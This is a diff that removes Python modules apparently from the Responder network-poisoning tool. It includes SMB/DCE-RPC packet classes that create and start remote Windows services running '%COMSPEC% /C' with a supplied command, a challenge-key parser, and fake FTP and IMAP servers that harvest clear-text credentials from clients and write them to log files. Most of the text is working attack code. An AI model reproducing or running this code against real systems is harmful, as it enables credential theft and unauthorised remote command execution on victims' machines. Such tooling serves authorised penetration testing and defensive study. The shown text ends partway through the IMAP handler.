FindRAPOffset = str(self.fields["Wordcount"])+str(self.fields["TotalParamCount"])+str(self.fields["TotalDataCount"])+str(self.fields["MaxParamCount"])+str(self.fields["MaxDataCount"])+str(self.fields["MaxSetupCount"])+str(self.fields["Reserved"])+str(self.fields["Flags"])+str(self.fields["Timeout"])+str(self.fields["Reserved1"])+str(self.fields["ParamCount"])+str(self.fields["ParamOffset"])+str(self.fields["DataCount"])+str(self.fields["DataOffset"])+str(self.fields["SetupCount"])+str(self.fields["Reserved2"])+str(self.fields["Bcc"])+str(self.fields["Terminator"])+str(self.fields["PipeName"])+str(self.fields["PipeTerminator"])
|
||||
|
||||
self.fields["ParamOffset"] = struct.pack("<i", len(FindRAPOffset)+32)[:2]
|
||||
##Bcc Buff Len
|
||||
BccComplete = str(self.fields["Terminator"])+str(self.fields["PipeName"])+str(self.fields["PipeTerminator"])+str(self.fields["Data"])
|
||||
self.fields["Bcc"] = struct.pack("<i", len(BccComplete))[:2]
|
|
@ -1,480 +0,0 @@
|
|||
# NBT-NS/LLMNR Responder
|
||||
# Created by Laurent Gaffie
|
||||
# Copyright (C) 2014 Trustwave Holdings, Inc.
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import struct
|
||||
from odict import OrderedDict
|
||||
|
||||
class Packet():
|
||||
fields = OrderedDict([
|
||||
("data", ""),
|
||||
])
|
||||
def __init__(self, **kw):
|
||||
self.fields = OrderedDict(self.__class__.fields)
|
||||
for k,v in kw.items():
|
||||
if callable(v):
|
||||
self.fields[k] = v(self.fields[k])
|
||||
else:
|
||||
self.fields[k] = v
|
||||
def __str__(self):
|
||||
return "".join(map(str, self.fields.values()))
|
||||
##################################################################################
|
||||
#SMB Client Stuff
|
||||
##################################################################################
|
||||
|
||||
def longueur(payload):
|
||||
length = struct.pack(">i", len(''.join(payload)))
|
||||
return length
|
||||
|
||||
class SMBHeader(Packet):
|
||||
fields = OrderedDict([
|
||||
("proto", "\xff\x53\x4d\x42"),
|
||||
("cmd", "\x72"),
|
||||
("error-code", "\x00\x00\x00\x00" ),
|
||||
("flag1", "\x00"),
|
||||
("flag2", "\x00\x00"),
|
||||
("pidhigh", "\x00\x00"),
|
||||
("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||
("reserved", "\x00\x00"),
|
||||
("tid", "\x00\x00"),
|
||||
("pid", "\x00\x4e"),
|
||||
("uid", "\x00\x08"),
|
||||
("mid", "\x00\x00"),
|
||||
])
|
||||
|
||||
class SMBNego(Packet):
|
||||
fields = OrderedDict([
|
||||
("Wordcount", "\x00"),
|
||||
("Bcc", "\x62\x00"),
|
||||
("Data", "")
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Data"])))
|
||||
|
||||
class SMBNegoData(Packet):
|
||||
fields = OrderedDict([
|
||||
("Separator1","\x02" ),
|
||||
("Dialect1", "\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00"),
|
||||
("Separator2","\x02"),
|
||||
("Dialect2", "\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"),
|
||||
("Separator3","\x02"),
|
||||
("Dialect3", "\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61\x00"),
|
||||
("Separator4","\x02"),
|
||||
("Dialect4", "\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00"),
|
||||
("Separator5","\x02"),
|
||||
("Dialect5", "\x4c\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00"),
|
||||
("Separator6","\x02"),
|
||||
("Dialect6", "\x4e\x54\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00"),
|
||||
])
|
||||
|
||||
class SMBSessionTreeData(Packet):
|
||||
fields = OrderedDict([
|
||||
("Wordcount", "\x0d"),
|
||||
("AndXCommand", "\x75"),
|
||||
("Reserved", "\x00" ),
|
||||
("Andxoffset", "\x7c\x00"),
|
||||
("Maxbuff","\x04\x11"),
|
||||
("Maxmpx", "\x32\x00"),
|
||||
("Vcnum","\x00\x00"),
|
||||
("Sessionkey", "\x00\x00\x00\x00"),
|
||||
("AnsiPassLength","\x18\x00"),
|
||||
("UnicodePassLength", "\x00\x00"),
|
||||
("Reserved2","\x00\x00\x00\x00"),
|
||||
("Capabilities", "\xd4\x00\x00\x00"),
|
||||
("Bcc","\x3f\x00"),
|
||||
("AnsiPasswd", "\xe3\xa7\x10\x56\x58\xed\x92\xa1\xea\x9d\x55\xb1\x63\x99\x7f\xbe\x1c\xbd\x6c\x0a\xf8\xef\xb2\x89"),
|
||||
("UnicodePasswd", "\xe3\xa7\x10\x56\x58\xed\x92\xa1\xea\x9d\x55\xb1\x63\x99\x7f\xbe\x1c\xbd\x6c\x0a\xf8\xef\xb2\x89"),
|
||||
("Username","Administrator"),
|
||||
("UsernameTerminator","\x00\x00"),
|
||||
("Domain","SMB"),
|
||||
("DomainTerminator","\x00\x00"),
|
||||
("Nativeos",""),
|
||||
("NativeosTerminator","\x00\x00"),
|
||||
("Lanmanager",""),
|
||||
("LanmanagerTerminator","\x00\x00\x00"),
|
||||
("Wordcount2","\x04"),
|
||||
("Andxcmd2","\xff"),
|
||||
("Reserved3","\x00"),
|
||||
("Andxoffset2","\x06\x01"),
|
||||
("Flags","\x08\x00"),
|
||||
("PasswordLength","\x01\x00"),
|
||||
("Bcc2","\x19\x00"),
|
||||
("Passwd","\x00"),
|
||||
("PrePath","\\\\"),
|
||||
("Targ", "CSCDSFCS"),
|
||||
("IPC", "\\IPC$"),
|
||||
("TerminatorPath","\x00\x00"),
|
||||
("Service","?????"),
|
||||
("TerminatorService","\x00"),
|
||||
])
|
||||
def calculate(self):
|
||||
##Convert first
|
||||
self.fields["Username"] = self.fields["Username"].encode('utf-16be')
|
||||
self.fields["Domain"] = self.fields["Domain"].encode('utf-16be')
|
||||
self.fields["Nativeos"] = self.fields["Nativeos"].encode('utf-16be')
|
||||
self.fields["Lanmanager"] = self.fields["Lanmanager"].encode('utf-16be')
|
||||
self.fields["PrePath"] = self.fields["PrePath"].encode('utf-16le')
|
||||
self.fields["Targ"] = self.fields["Targ"].encode('utf-16le')
|
||||
self.fields["IPC"] = self.fields["IPC"].encode('utf-16le')
|
||||
##Then calculate
|
||||
data1= str(self.fields["AnsiPasswd"])+(self.fields["UnicodePasswd"])+str(self.fields["Username"])+str(self.fields["UsernameTerminator"])+str(self.fields["Domain"])+str(self.fields["DomainTerminator"])+str(self.fields["Nativeos"])+str(self.fields["NativeosTerminator"])+str(self.fields["Lanmanager"])+str(self.fields["LanmanagerTerminator"])
|
||||
|
||||
data2= str(self.fields["Passwd"])+str(self.fields["PrePath"])+str(self.fields["Targ"])+str(self.fields["IPC"])+str(self.fields["TerminatorPath"])+str(self.fields["Service"])+str(self.fields["TerminatorService"])
|
||||
|
||||
self.fields["Bcc"] = struct.pack("<h",len(data1))
|
||||
self.fields["Bcc2"] = struct.pack("<h",len(data2))
|
||||
self.fields["Andxoffset"] = struct.pack("<h",len(data1)+32+29)
|
||||
self.fields["AnsiPassLength"] = struct.pack("<h",len(str(self.fields["AnsiPasswd"])))
|
||||
self.fields["UnicodePassLength"] = struct.pack("<h",len(str(self.fields["UnicodePasswd"])))
|
||||
self.fields["PasswordLength"] = struct.pack("<h",len(str(self.fields["Passwd"])))
|
||||
|
||||
class SMBNTCreateData(Packet):
|
||||
fields = OrderedDict([
|
||||
("Wordcount", "\x18"),
|
||||
("AndXCommand", "\xff"),
|
||||
("Reserved", "\x00" ),
|
||||
("Andxoffset", "\x00\x00"),
|
||||
("Reserved2", "\x00"),
|
||||
("FileNameLen", "\x07\x00"),
|
||||
("CreateFlags", "\x16\x00\x00\x00"),
|
||||
("RootFID", "\x00\x00\x00\x00"),
|
||||
("AccessMask", "\x00\x00\x00\x02"),
|
||||
("AllocSize", "\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||
("FileAttrib", "\x00\x00\x00\x00"),
|
||||
("ShareAccess", "\x07\x00\x00\x00"),
|
||||
("Disposition", "\x01\x00\x00\x00"),
|
||||
("CreateOptions", "\x00\x00\x00\x00"),
|
||||
("Impersonation", "\x02\x00\x00\x00"),
|
||||
("SecurityFlags", "\x00"),
|
||||
("Bcc", "\x08\x00"),
|
||||
("FileName", "\\svcctl"),
|
||||
("FileNameNull", "\x00"),
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
|
||||
Data1= str(self.fields["FileName"])+str(self.fields["FileNameNull"])
|
||||
self.fields["FileNameLen"] = struct.pack("<h",len(str(self.fields["FileName"])))
|
||||
self.fields["Bcc"] = struct.pack("<h",len(Data1))
|
||||
|
||||
class SMBReadData(Packet):
|
||||
fields = OrderedDict([
|
||||
("Wordcount", "\x0a"),
|
||||
("AndXCommand", "\xff"),
|
||||
("Reserved", "\x00" ),
|
||||
("Andxoffset", "\x00\x00"),
|
||||
("FID", "\x00\x00"),
|
||||
("Offset", "\x19\x03\x00\x00"),
|
||||
("MaxCountLow", "\xed\x01"),
|
||||
("MinCount", "\xed\x01"),
|
||||
("Hidden", "\xff\xff\xff\xff"),
|
||||
("Remaining", "\x00\x00"),
|
||||
("Bcc", "\x00\x00"),
|
||||
("Data", ""),
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
|
||||
self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Data"])))
|
||||
|
||||
class SMBWriteData(Packet):
|
||||
fields = OrderedDict([
|
||||
("Wordcount", "\x0e"),
|
||||
("AndXCommand", "\xff"),
|
||||
("Reserved", "\x00" ),
|
||||
("Andxoffset", "\x00\x00"),
|
||||
("FID", "\x06\x40"),
|
||||
("Offset", "\xea\x03\x00\x00"),
|
||||
("Reserved2", "\xff\xff\xff\xff"),
|
||||
("WriteMode", "\x08\x00"),
|
||||
("Remaining", "\xdc\x02"),
|
||||
("DataLenHi", "\x00\x00"),
|
||||
("DataLenLow", "\xdc\x02"),
|
||||
("DataOffset", "\x3f\x00"),
|
||||
("HiOffset", "\x00\x00\x00\x00"),
|
||||
("Bcc", "\xdc\x02"),
|
||||
("Data", ""),
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
self.fields["Remaining"] = struct.pack("<h",len(str(self.fields["Data"])))
|
||||
self.fields["DataLenLow"] = struct.pack("<h",len(str(self.fields["Data"])))
|
||||
self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Data"])))
|
||||
|
||||
class SMBDCEData(Packet):
|
||||
fields = OrderedDict([
|
||||
("Version", "\x05"),
|
||||
("VersionLow", "\x00"),
|
||||
("PacketType", "\x0b"),
|
||||
("PacketFlag", "\x03"),
|
||||
("DataRepresent", "\x10\x00\x00\x00"),
|
||||
("FragLen", "\x2c\x02"),
|
||||
("AuthLen", "\x00\x00"),
|
||||
("CallID", "\x00\x00\x00\x00"),
|
||||
("MaxTransFrag", "\xd0\x16"),
|
||||
("MaxRecvFrag", "\xd0\x16"),
|
||||
("GroupAssoc", "\x00\x00\x00\x00"),
|
||||
("CTXNumber", "\x01"),
|
||||
("CTXPadding", "\x00\x00\x00"),
|
||||
("CTX0ContextID", "\x00\x00"),
|
||||
("CTX0ItemNumber", "\x01\x00"),
|
||||
("CTX0UID", "\x81\xbb\x7a\x36\x44\x98\xf1\x35\xad\x32\x98\xf0\x38\x00\x10\x03"),
|
||||
("CTX0UIDVersion", "\x02\x00"),
|
||||
("CTX0UIDVersionlo","\x00\x00"),
|
||||
("CTX0UIDSyntax", "\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00\x2b\x10\x48\x60"),
|
||||
("CTX0UIDSyntaxVer","\x02\x00\x00\x00"),
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
|
||||
Data1= str(self.fields["Version"])+str(self.fields["VersionLow"])+str(self.fields["PacketType"])+str(self.fields["PacketFlag"])+str(self.fields["DataRepresent"])+str(self.fields["FragLen"])+str(self.fields["AuthLen"])+str(self.fields["CallID"])+str(self.fields["MaxTransFrag"])+str(self.fields["MaxRecvFrag"])+str(self.fields["GroupAssoc"])+str(self.fields["CTXNumber"])+str(self.fields["CTXPadding"])+str(self.fields["CTX0ContextID"])+str(self.fields["CTX0ItemNumber"])+str(self.fields["CTX0UID"])+str(self.fields["CTX0UIDVersion"])+str(self.fields["CTX0UIDVersionlo"])+str(self.fields["CTX0UIDSyntax"])+str(self.fields["CTX0UIDSyntaxVer"])
|
||||
|
||||
|
||||
self.fields["FragLen"] = struct.pack("<h",len(Data1))
|
||||
|
||||
class SMBDCEPacketData(Packet):
|
||||
fields = OrderedDict([
|
||||
("Version", "\x05"),
|
||||
("VersionLow", "\x00"),
|
||||
("PacketType", "\x00"),
|
||||
("PacketFlag", "\x03"),
|
||||
("DataRepresent", "\x10\x00\x00\x00"),
|
||||
("FragLen", "\x2c\x02"),
|
||||
("AuthLen", "\x00\x00"),
|
||||
("CallID", "\x00\x00\x00\x00"),
|
||||
("AllocHint", "\x38\x00\x00\x00"),
|
||||
("ContextID", "\x00\x00"),
|
||||
("Opnum", "\x0f\x00"),
|
||||
("Data", ""),
|
||||
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
|
||||
Data1= str(self.fields["Version"])+str(self.fields["VersionLow"])+str(self.fields["PacketType"])+str(self.fields["PacketFlag"])+str(self.fields["DataRepresent"])+str(self.fields["FragLen"])+str(self.fields["AuthLen"])+str(self.fields["CallID"])+str(self.fields["AllocHint"])+str(self.fields["ContextID"])+str(self.fields["Opnum"])+str(self.fields["Data"])
|
||||
|
||||
self.fields["FragLen"] = struct.pack("<h",len(Data1))
|
||||
self.fields["AllocHint"] = struct.pack("<i",len(str(self.fields["Data"])))
|
||||
|
||||
class SMBDCESVCCTLOpenManagerW(Packet):
|
||||
fields = OrderedDict([
|
||||
("MachineNameRefID", "\xb5\x97\xb9\xbc"),
|
||||
("MaxCount", "\x0f\x00\x00\x00"),
|
||||
("Offset", "\x00\x00\x00\x00"),
|
||||
("ActualCount", "\x0f\x00\x00\x00"),
|
||||
("MachineName", "\\\\169.220.1.11"),##This is not taken into consideration.
|
||||
("MachineNameNull", "\x00\x00\x00\x00"),
|
||||
("DbPointer", "\x00\x00\x00\x00"),
|
||||
("AccessMask", "\x3f\x00\x0f\x00"),
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
## Convert to UTF-16LE
|
||||
self.fields["MachineName"] = self.fields["MachineName"].encode('utf-16le')
|
||||
|
||||
|
||||
class SMBDCESVCCTLCreateService(Packet):
|
||||
fields = OrderedDict([
|
||||
("ContextHandle", ""),
|
||||
("MaxCount", "\x0c\x00\x00\x00"),
|
||||
("Offset", "\x00\x00\x00\x00"),
|
||||
("ActualCount", "\x0c\x00\x00\x00"),
|
||||
("ServiceName", "AyAGaxwLhCP"),
|
||||
("MachineNameNull", "\x00\x00"),
|
||||
("ReferentID", "\x9c\xfa\x9a\xc9"),
|
||||
("MaxCountRefID", "\x11\x00\x00\x00"),
|
||||
("OffsetID", "\x00\x00\x00\x00"),
|
||||
("ActualCountRefID", "\x11\x00\x00\x00"),
|
||||
("DisplayNameID", "DhhUFcsvrfJvLwRq"),
|
||||
("DisplayNameIDNull", "\x00\x00\x00\x00"),
|
||||
("AccessMask", "\xff\x01\x0f\x00"),
|
||||
("ServerType", "\x10\x01\x00\x00"),
|
||||
("ServiceStartType", "\x03\x00\x00\x00"),
|
||||
("ServiceErrorCtl", "\x00\x00\x00\x00"),
|
||||
("BinPathMaxCount", "\xb6\x00\x00\x00"),
|
||||
("BinPathOffset", "\x00\x00\x00\x00"),
|
||||
("BinPathActualCount", "\xb6\x00\x00\x00"),
|
||||
("BinPathName", "%COMSPEC% /C \""),
|
||||
("BinCMD", ""),
|
||||
("BintoEnd", "\""),
|
||||
("BinPathNameNull", "\x00\x00"),
|
||||
("Nullz", "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
|
||||
BinDataLen = str(self.fields["BinPathName"])+str(self.fields["BinCMD"])+str(self.fields["BintoEnd"])
|
||||
|
||||
## Calculate first
|
||||
self.fields["BinPathMaxCount"] = struct.pack("<i",len(BinDataLen)+1)
|
||||
self.fields["BinPathActualCount"] = struct.pack("<i",len(BinDataLen)+1)
|
||||
self.fields["MaxCount"] = struct.pack("<i",len(str(self.fields["ServiceName"]))+1)
|
||||
self.fields["ActualCount"] = struct.pack("<i",len(str(self.fields["ServiceName"]))+1)
|
||||
self.fields["MaxCountRefID"] = struct.pack("<i",len(str(self.fields["DisplayNameID"]))+1)
|
||||
self.fields["ActualCountRefID"] = struct.pack("<i",len(str(self.fields["DisplayNameID"]))+1)
|
||||
## Then convert to UTF-16LE, yeah it's weird..
|
||||
self.fields["ServiceName"] = self.fields["ServiceName"].encode('utf-16le')
|
||||
self.fields["DisplayNameID"] = self.fields["DisplayNameID"].encode('utf-16le')
|
||||
self.fields["BinPathName"] = self.fields["BinPathName"].encode('utf-16le')
|
||||
self.fields["BinCMD"] = self.fields["BinCMD"].encode('utf-16le')
|
||||
self.fields["BintoEnd"] = self.fields["BintoEnd"].encode('utf-16le')
|
||||
|
||||
|
||||
|
||||
class SMBDCESVCCTLOpenService(Packet):
|
||||
fields = OrderedDict([
|
||||
("ContextHandle", ""),
|
||||
("MaxCount", "\x0c\x00\x00\x00"),
|
||||
("Offset", "\x00\x00\x00\x00"),
|
||||
("ActualCount", "\x0c\x00\x00\x00"),
|
||||
("ServiceName", ""),
|
||||
("MachineNameNull", "\x00\x00"),
|
||||
("AccessMask", "\xff\x01\x0f\x00"),
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
## Calculate first
|
||||
self.fields["MaxCount"] = struct.pack("<i",len(str(self.fields["ServiceName"]))+1)
|
||||
self.fields["ActualCount"] = struct.pack("<i",len(str(self.fields["ServiceName"]))+1)
|
||||
## Then convert to UTF-16LE, yeah it's weird..
|
||||
self.fields["ServiceName"] = self.fields["ServiceName"].encode('utf-16le')
|
||||
|
||||
class SMBDCESVCCTLStartService(Packet):
|
||||
fields = OrderedDict([
|
||||
("ContextHandle", ""),
|
||||
("MaxCount", "\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||
])
|
||||
|
||||
def ParseAnswerKey(data,host):
|
||||
key = data[73:81]
|
||||
print "Key retrieved is:%s from host:%s"%(key.encode("hex"),host)
|
||||
return key
|
||||
|
||||
##################################################################################
|
||||
#SMB Server Stuff
|
||||
##################################################################################
|
||||
|
||||
#Calculate total SMB packet len.
|
||||
def longueur(payload):
|
||||
length = struct.pack(">i", len(''.join(payload)))
|
||||
return length
|
||||
|
||||
#Set MID SMB Header field.
|
||||
def midcalc(data):
|
||||
pack=data[34:36]
|
||||
return pack
|
||||
|
||||
#Set UID SMB Header field.
|
||||
def uidcalc(data):
|
||||
pack=data[32:34]
|
||||
return pack
|
||||
|
||||
#Set PID SMB Header field.
|
||||
def pidcalc(data):
|
||||
pack=data[30:32]
|
||||
return pack
|
||||
|
||||
#Set TID SMB Header field.
|
||||
def tidcalc(data):
|
||||
pack=data[28:30]
|
||||
return pack
|
||||
|
||||
#SMB Header answer packet.
|
||||
class SMBHeader(Packet):
|
||||
fields = OrderedDict([
|
||||
("proto", "\xff\x53\x4d\x42"),
|
||||
("cmd", "\x72"),
|
||||
("errorcode", "\x00\x00\x00\x00" ),
|
||||
("flag1", "\x80"),
|
||||
("flag2", "\x00\x00"),
|
||||
("pidhigh", "\x00\x00"),
|
||||
("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||
("reserved", "\x00\x00"),
|
||||
("tid", "\x00\x00"),
|
||||
("pid", "\xff\xfe"),
|
||||
("uid", "\x00\x00"),
|
||||
("mid", "\x00\x00"),
|
||||
])
|
||||
|
||||
#SMB Negotiate Answer packet.
|
||||
class SMBNegoAns(Packet):
|
||||
fields = OrderedDict([
|
||||
("Wordcount", "\x11"),
|
||||
("Dialect", ""),
|
||||
("Securitymode", "\x03"),
|
||||
("MaxMpx", "\x32\x00"),
|
||||
("MaxVc", "\x01\x00"),
|
||||
("Maxbuffsize", "\x04\x11\x00\x00"),
|
||||
("Maxrawbuff", "\x00\x00\x01\x00"),
|
||||
("Sessionkey", "\x00\x00\x00\x00"),
|
||||
("Capabilities", "\xfd\x43\x00\x00"),
|
||||
("Systemtime", "\xc2\x74\xf2\x53\x70\x02\xcf\x01\x2c\x01"),
|
||||
("Keylength", "\x08"),
|
||||
("Bcc", "\x10\x00"),
|
||||
("Key", "\x0d\x0d\x0d\x0d\x0d\x0d\x0d\x0d"),
|
||||
("Domain", ""),
|
||||
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
|
||||
##Then calculate.
|
||||
CompleteBCCLen = str(self.fields["Key"])+str(self.fields["Domain"])
|
||||
self.fields["Bcc"] = struct.pack("<h",len(CompleteBCCLen))
|
||||
self.fields["Keylength"] = struct.pack("<h",len(self.fields["Key"]))[0]
|
||||
|
||||
# SMB Session/Tree Answer.
|
||||
class SMBSessTreeAns(Packet):
|
||||
fields = OrderedDict([
|
||||
("Wordcount", "\x03"),
|
||||
("Command", "\x75"),
|
||||
("Reserved", "\x00"),
|
||||
("AndXoffset", "\x4e\x00"),
|
||||
("Action", "\x01\x00"),
|
||||
("Bcc", "\x25\x00"),
|
||||
("NativeOs", "Windows 5.1"),
|
||||
("NativeOsNull", "\x00"),
|
||||
("NativeLan", "Windows 2000 LAN Manager"),
|
||||
("NativeLanNull", "\x00"),
|
||||
("WordcountTree", "\x03"),
|
||||
("AndXCommand", "\xff"),
|
||||
("Reserved1", "\x00"),
|
||||
("AndxOffset", "\x00\x00"),
|
||||
("OptionalSupport", "\x01\x00"),
|
||||
("Bcc2", "\x08\x00"),
|
||||
("Service", "A:"),
|
||||
("ServiceNull", "\x00"),
|
||||
("FileSystem", "NTFS"),
|
||||
("FileSystemNull", "\x00"),
|
||||
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
##AndxOffset
|
||||
CalculateCompletePacket = str(self.fields["Wordcount"])+str(self.fields["Command"])+str(self.fields["Reserved"])+str(self.fields["AndXoffset"])+str(self.fields["Action"])+str(self.fields["Bcc"])+str(self.fields["NativeOs"])+str(self.fields["NativeOsNull"])+str(self.fields["NativeLan"])+str(self.fields["NativeLanNull"])
|
||||
|
||||
self.fields["AndXoffset"] = struct.pack("<i", len(CalculateCompletePacket)+32)[:2]#SMB Header is *always* 32.
|
||||
##BCC 1 and 2
|
||||
CompleteBCCLen = str(self.fields["NativeOs"])+str(self.fields["NativeOsNull"])+str(self.fields["NativeLan"])+str(self.fields["NativeLanNull"])
|
||||
self.fields["Bcc"] = struct.pack("<h",len(CompleteBCCLen))
|
||||
CompleteBCC2Len = str(self.fields["Service"])+str(self.fields["ServiceNull"])+str(self.fields["FileSystem"])+str(self.fields["FileSystemNull"])
|
||||
self.fields["Bcc2"] = struct.pack("<h",len(CompleteBCC2Len))
|
||||
|
||||
class SMBSessEmpty(Packet):
|
||||
fields = OrderedDict([
|
||||
("Empty", "\x00\x00\x00"),
|
||||
])
|
||||
|
|
@ -1,67 +0,0 @@
|
|||
import socket
|
||||
import threading
|
||||
import logging
|
||||
|
||||
from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler
|
||||
from core.responder.packet import Packet
|
||||
from core.responder.odict import OrderedDict
|
||||
from core.responder.common import *
|
||||
from core.logger import logger
|
||||
|
||||
formatter = logging.Formatter("%(asctime)s [FTPserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
log = logger().setup_logger("FTPserver", formatter)
|
||||
|
||||
class FTPserver():
|
||||
|
||||
def start(self):
|
||||
try:
|
||||
log.debug("online")
|
||||
server = ThreadingTCPServer(("0.0.0.0", 21), FTP)
|
||||
t = threading.Thread(name="FTPserver", target=server.serve_forever)
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
except Exception, e:
|
||||
log.error("Error starting on port {}: {}".format(21, e))
|
||||
|
||||
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
|
||||
|
||||
allow_reuse_address = 1
|
||||
|
||||
def server_bind(self):
|
||||
TCPServer.server_bind(self)
|
||||
|
||||
class FTPPacket(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "220"),
|
||||
("Separator", "\x20"),
|
||||
("Message", "Welcome"),
|
||||
("Terminator", "\x0d\x0a"),
|
||||
])
|
||||
|
||||
#FTP server class.
|
||||
class FTP(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
self.request.send(str(FTPPacket()))
|
||||
data = self.request.recv(1024)
|
||||
if data[0:4] == "USER":
|
||||
User = data[5:].replace("\r\n","")
|
||||
log.info('{} FTP User: {}'.format(self.client_address[0], User))
|
||||
t = FTPPacket(Code="331",Message="User name okay, need password.")
|
||||
self.request.send(str(t))
|
||||
data = self.request.recv(1024)
|
||||
if data[0:4] == "PASS":
|
||||
Pass = data[5:].replace("\r\n","")
|
||||
Outfile = "./logs/responder/FTP-Clear-Text-Password-"+self.client_address[0]+".txt"
|
||||
WriteData(Outfile,User+":"+Pass, User+":"+Pass)
|
||||
log.info('{} FTP Password is: {}'.format(self.client_address[0], Pass))
|
||||
t = FTPPacket(Code="530",Message="User not logged in.")
|
||||
self.request.send(str(t))
|
||||
data = self.request.recv(1024)
|
||||
else :
|
||||
t = FTPPacket(Code="502",Message="Command not implemented.")
|
||||
self.request.send(str(t))
|
||||
data = self.request.recv(1024)
|
||||
except Exception as e:
|
||||
log.error("Error handling request: {}".format(e))
|
|
@ -1,42 +0,0 @@
|
|||
#! /usr/bin/env python
|
||||
# NBT-NS/LLMNR Responder
|
||||
# Created by Laurent Gaffie
|
||||
# Copyright (C) 2014 Trustwave Holdings, Inc.
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import struct
|
||||
from core.responder.odict import OrderedDict
|
||||
from core.responder.packet import Packet
|
||||
|
||||
#IMAP4 Greating class
|
||||
class IMAPGreating(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "* OK IMAP4 service is ready."),
|
||||
("CRLF", "\r\n"),
|
||||
])
|
||||
|
||||
#IMAP4 Capability class
|
||||
class IMAPCapability(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "* CAPABILITY IMAP4 IMAP4rev1 AUTH=PLAIN"),
|
||||
("CRLF", "\r\n"),
|
||||
])
|
||||
|
||||
#IMAP4 Capability class
|
||||
class IMAPCapabilityEnd(Packet):
|
||||
fields = OrderedDict([
|
||||
("Tag", ""),
|
||||
("Message", " OK CAPABILITY completed."),
|
||||
("CRLF", "\r\n"),
|
||||
])
|
|
@ -1,53 +0,0 @@
|
|||
import logging
|
||||
import threading
|
||||
|
||||
from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler
|
||||
from IMAPPackets import *
|
||||
from core.responder.common import *
|
||||
from core.logger import logger
|
||||
|
||||
formatter = logging.Formatter("%(asctime)s [IMAPserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
log = logger().setup_logger("IMAPserver", formatter)
|
||||
|
||||
class IMAPserver():
|
||||
|
||||
def start(self):
|
||||
try:
|
||||
log.debug("online")
|
||||
server = ThreadingTCPServer(("0.0.0.0", 143), IMAP)
|
||||
t = threading.Thread(name="IMAPserver", target=server.serve_forever)
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
except Exception as e:
|
||||
log.error("Error starting on port {}: {}".format(143, e))
|
||||
|
||||
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
|
||||
|
||||
allow_reuse_address = 1
|
||||
|
||||
def server_bind(self):
|
||||
TCPServer.server_bind(self)
|
||||
|
||||
#ESMTP server class.
|
||||
class IMAP(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
self.request.send(str(IMAPGreating()))
|
||||
data = self.request.recv(1024)
|
||||
if data[5:15] == "CAPABILITY":
|
||||
RequestTag = data[0:4]
|
||||
self.request.send(str(IMAPCapability()))
|
||||
self.request.send(str(IMAPCapabilityEnd(Tag=RequestTag)))
|
||||
data = self.request.recv(1024)
|
||||
if data[5:10] == "LOGIN":
|
||||
Credentials = data[10:].strip()
|
||||
Outfile = "./logs/responder/IMAP-Clear-Text-Password-"+self.client_address[0]+".txt"
|
||||
WriteData(Outfile,Credentials, Credentials)
|
||||
#print '[+]IMAP Credentials from %s. ("User" "Pass"): %s'%(self.client_address[0],Credentials)
|
||||
